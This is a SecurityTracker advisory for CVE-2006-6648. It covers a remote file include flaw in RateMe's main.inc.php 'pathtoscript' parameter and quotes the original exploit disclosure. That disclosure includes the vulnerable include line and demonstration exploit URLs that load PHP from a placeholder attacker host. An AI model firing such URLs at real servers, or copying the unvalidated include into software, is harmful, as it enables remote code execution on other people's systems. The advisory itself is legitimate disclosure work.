SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   RateMe Vendors:   planetluc.com
RateMe Include File Bug Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1017431
SecurityTracker URL:  http://securitytracker.com/id/1017431
CVE Reference:   CVE-2006-6648   (Links to External Site)
Date:  Dec 21 2006
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  
Version(s): 1.3.2 and prior versions
Description:   Al7ejaz Hacker reported a vulnerability in RateMe. A remote user can include and execute arbitrary code on the target system.

The 'main.inc.php' script does not properly validate user-supplied input in the 'pathtoscript' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/path/main.inc.php?pathtoscript=http://[attacker]

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.planetluc.com/en/scripts_rateme.php (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  al7ejaz hacker - RateMe <= all versions => ( main.inc.php ) Remote File Include

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+                                                                                 ;;ii,,::              +
+                                                 ::::            ::              ;;tt;;::              +
+                                                 ;;::          ...,,::            ;;ii,,::             +
+                           ,,,,                ii;;,,          ii;;::            ;;ii,,::              +
+                           ii::                tt;;,,        ..tt;;,,..          ;;ii;;::              +
+                         ii,,::                ttii,,        ..ff;;;;::          ;;ii;;::              +
+                         tt;;::..,,            tt;;,,          ff;;;;ii          ;;ii,,::              +
+                         tt;;::;;::            tt;;,,..        jj;;,,..          ;;tt,,::              +
+                         tt;;;;,,              tt;;,,..        tt;;;;            ;;ii;;::              +
+                     ..::,,;;,,                tt;;,,..        tt;;,,            ;;ii,,::              +
+                 ..::,,ii;;;;..                tt;;,,..        iiii,,::          ;;ii,,::              +
+               ::,,ttiijj;;,,                  tt;;;;..        ;;tt,,::          ;;ii,,::              +
+             ,,;;ii    tt;;,,                  ii;;,,..        ...jj;;::          ;;ii;;::             +
+           ;;;;::      tt;;::                  tt;;;;..          ff;;::          ;;tt,,..              +
+         ii;;..      ,,ii;;::                  ii;;,,..          jj;;,,          ;;ii,,..              +
+       ,,;;,,      ::;;;;;;::                  ii;;;;..          tt;;,,          ;;ii;;..              +
+       tt;;::::  ::,,;;jj,,::                  tt;;,,..          tt;;,,          ;;ii,,..              +
+       jj;;;;,,,,,,iiiiii;;::                ..tt;;,,::          iiii,,          ;;ii,,..              +
+       ;;ffjjttjjttii  ii;;::                ii;;;;;;::          ..jj,,          ;;ii;;..              +
+           ..;;..      ii;;,,::            ,,;;;;jj;;,,          ..jj,,          ;;ii,,..              +
+                       iiii;;,,::::....::,,,,;;,,jj;;;;,,::    ::,,;;,,          ;;ii;;                +
+                       ..ff;;;;;;,,,,::,,;;;;;;  ttii;;;;,,,,,,,,;;;;::          ;;ii,,                +
+                         jjii;;;;;;;;;;;;;;ii..  ..ff;;;;;;;;;;;;;;;;            ;;ii,,                +
+                           jjjj;;;;ii;;;;tt..      iijj;;;;;;;;;;ii::            ;;ii::                +
+                             iijjjjjjtt;;            ;;ffffjjjjtt::              ;;ii                  +
+                                                           ;;..                  ii;;                  +
+                                                                                 ..                    +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#########################################################################################################
# Affected Script: RateMe
# Exploit name : RateMe <= all versions =>  ( main.inc.php ) Remote File Include Vulnerability
# Author: Al7ejaz Hacker
# Website: http://www.planetluc.com/en/  not free version
# Discovered: 15/12/2006
# Conatact : saudi[at]hotmail.fr - & -  al7ejaz.hackerz[at]gmail.com
#########################################################################################################
#########################################################################################################
#
#  Description :
#  File infected : main.inc.php , line 17
#
#  echo "\n<!-- Start RateMe v$version output -->\n\n<link href='".$pathtoscript."style.css' rel='stylesheet' type='text/css'>\n<div class='votingtxt'>";
#  include($pathtoscript.'db_connect.inc.php');  # <==
#
#  Exploit : http://victime/path/main.inc.php?pathtoscript=http://Atacke
#
########################################################################################################

# milw0rm.com [2006-12-18]
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC